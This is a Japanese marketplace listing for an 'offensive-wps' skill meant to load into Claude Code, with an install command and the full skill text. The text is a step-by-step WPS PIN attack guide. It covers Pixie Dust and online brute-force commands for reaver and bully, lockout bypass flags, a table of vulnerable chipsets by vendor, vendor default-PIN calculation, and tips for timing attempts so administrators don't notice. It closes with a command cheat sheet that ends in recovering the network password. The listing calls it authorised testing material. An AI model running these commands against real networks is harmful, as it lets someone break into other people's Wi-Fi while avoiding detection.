mcpField
O
offensive-wps

offensive-wps

github.com/snailsploitセキュリティ9.7k173 回インストール2 週間前に更新
リポジトリ

offensive-wps について

offensive-wpsは、WPS PIN攻撃の認可済みセキュリティテスト向けガイドです。検出、オフラインのPixie Dust、オンラインPINテスト、ロックアウト対応を扱います。

主な機能

  1. 01WPS対応アクセスポイントのスキャン
  2. 02オフラインPixie Dust攻撃のテスト
  3. 03オンラインPIN総当たりの評価
  4. 04ロックアウト状態と対応の確認
  5. 05ベンダー既定PINパターンの試行

活用シーン

  1. 01アクセスポイントのWPS露出状況の確認
  2. 02チップセットのPixie Dust脆弱性の評価
  3. 03WPSロックアウトポリシーの有効性確認

インストール

コマンドをコピーしてターミナルで実行します。

$npx skills add https://github.com/snailsploit/claude-red --skill offensive-wps

インストール後、Claude Code で/offensive-wpsを入力して読み込まれたか確認します。

詳細

WPS PIN 攻撃

WPS は、M3/M4 メッセージ交換を介して 8 桁の PIN をネットワーク PSK に変換します。PIN は 4 桁と 3 桁の半分に分割され(8 桁目はチェックサム)、有効な組み合わせはわずか 11,000 通りです。脆弱なチップセットでは、オフラインの Pixie Dust 攻撃により、オンラインで一度も試行せずに数秒で PIN を復元できます。

クイックワークフロー

  1. WPS 対応 AP を検出します(ビーコン内の WPS IE を確認します)。
  2. まず Pixie Dust を試します。オフラインで検出されず、成功すれば瞬時に完了します。
  3. チップセットが脆弱でない場合は、オンライン総当たりが実行可能か(ロックアウトポリシー)を確認します。
  4. オンライン総当たりは最後の手段です。時間がかかり、検出されます。

検出

# wash — dedicated WPS scanner
sudo wash -i wlan0mon

# Or use airodump-ng with WPS column
sudo airodump-ng wlan0mon --wps

出力には、WPS バージョン(1.0 / 2.0)、ロック状態、設定済み/未設定、ベンダーが含まれます。

WPS 2.0 ではロックアウトの適用が導入されましたが、多くのコンシューマー向け AP では、いまだに「3 回失敗すると 60 秒間ロックする」という実装です。待てば簡単に回避できます。

Pixie Dust(オフライン)

Pixie Dust 攻撃は、WPS を実装したチップセットの弱いノンス生成を悪用します。この攻撃では、WPS ハンドシェイク全体(M1-M4)を 1 回キャプチャし、その後オフラインで PIN を計算します。

# reaver with Pixie Dust mode
sudo reaver -i wlan0mon -b AA:BB:CC:DD:EE:FF -K 1 -vvv

# bully alternative
sudo bully -b AA:BB:CC:DD:EE:FF -d -v 3 wlan0mon
チップセット脆弱性
Ralink(RT チップセット)あり — 古い D-Link、TP-Link、Edimax の多く
Realtek(RTL8xxx)あり — TRENDnet、Belkin の多く
Broadcom(古いファームウェア)脆弱な場合が多い — 特定のモデルとファームウェアリビジョン
MediaTek(特定のリビジョン)まちまち
Atherosほとんど修正済み

成功した場合:

[Pixie-Dust] WPS PIN: 12345670
[Pixie-Dust] WPA PSK: ActualPasswordHere
[Pixie-Dust] AP SSID: HomeWiFi

M7 メッセージを介して PIN から PSK を直接取得できるため、PSK のクラッキングは不要です。

オンライン PIN 総当たり

Pixie Dust が失敗した場合、オンライン総当たりが代替手段になります。PIN を順に変えながら、EAPOL-Start → M1 → M2 → M3 の試行を送信します。

# reaver online mode (default)
sudo reaver -i wlan0mon -b AA:BB:CC:DD:EE:FF \
  -L -N -d 15 -t 30 -T .5 -r 3:30 -vv

# Flags:
# -L : ignore failed lockouts
# -N : don't send NACK packets
# -d 15 : 15-second delay between attempts
# -t 30 : timeout
# -T .5 : timeout for receiving M5/M7
# -r 3:30 : pause 30s every 3 attempts
ロックアウトへの対処

最近の AP のほとんどは、数回 PIN に失敗すると WPS をロックします。ロックアウトを検出するには、次を確認します。

  • AP が EAPOL-Start に応答しなくなる
  • ビーコン内の WPS Locked フラグが Yes に切り替わる

対処方法:

  • 解除されるまで待つ:多くの AP は 60~600 秒後に自動でロックを解除します。-r を適切に設定してください。
  • AP を再起動する:物理的に状態をリセットします。この妨害について許可を得ている場合に限り有効です。
  • 時間帯を分散して試行する:管理者の注意を引く原因となる、正規の WPS 利用との偶然の重複を避けるため、通信量の少ない時間帯を選びます。
所要時間の見積もり
  • 11,000 回の試行 ×(遅延 + タイムアウト)≈ 最短で 4 時間、現実的には 12~24 時間
  • ロックアウトによる倍率:ポリシーに応じて 5~20 倍
  • **脆弱な場合、Pixie Dust なら数分で完了します。**必ず最初に試してください。

プッシュボタン(PBC)方式

WPS PBC は、ユーザーが AP のボタンを押すと 120 秒間有効になります。この間に WPS を要求したクライアントは、PIN なしでペアリングされます。

攻撃の実行可能性:

  • 実際には、ボタンを押すための物理的なアクセスが必要です(つまり、すでに目的を達成しています)。または、ソーシャルエンジニアリング(「IT 担当者が 14:00 にボタンを押します」)が必要です。
  • 一部のバグのある AP では PBC の有効期間が無期限です。PBC アソシエーションを送信してテストしてください。
# Trigger PBC pairing attempt
sudo reaver -i wlan0mon -b AA:BB:CC:DD:EE:FF -p '00000000' -P

PIN のデフォルトパターン

一部のベンダーは、MAC アドレスとシリアル番号から WPS PIN を生成します。アルゴリズムが分かっている場合:

# wpscalc / WPSPIN — calculate likely PINs from BSSID
wpspin --bssid AA:BB:CC:DD:EE:FF
# Outputs candidate PINs to try first before brute

特定の Belkin、ZyXEL、Linksys モデルでは高い確率で成功します。

検出に関する考慮事項

シグナル防御側から見た状況
Reaver/bully のトラフィックパターンWIPS ルール:WPS 交換の試行が急増
PIN 失敗の急増WPS Locked フラグの切り替わり
ベンダー PSK のオフライン流出検出不能 — Pixie Dust はオフラインで実行される
コンシューマー向け管理インターフェースAP に監査機能があれば「WPS 試行」が記録される可能性があります(まれ)

脆弱なチップセットに対する Pixie Dust は、ネットワーク上では実質的に検出できません。正規のクライアントと区別できない WPS 交換が 1 回発生するだけです。

エンゲージメント用チートシート

# 1. Setup
sudo airmon-ng check kill && sudo airmon-ng start wlan0

# 2. Find WPS APs
sudo wash -i wlan0mon

# 3. Pixie Dust first
sudo reaver -i wlan0mon -b <BSSID> -K 1 -vvv

# 4. If Pixie Dust fails, try vendor-specific PIN candidates
wpspin --bssid <BSSID> | head -10

# 5. Online brute as last resort
sudo reaver -i wlan0mon -b <BSSID> -L -N -d 15 -t 30 -r 3:30 -vv

# 6. Once PIN known, derive PSK from M7 message
# (reaver does this automatically; bully prints PSK on success)

主な参考資料

コメント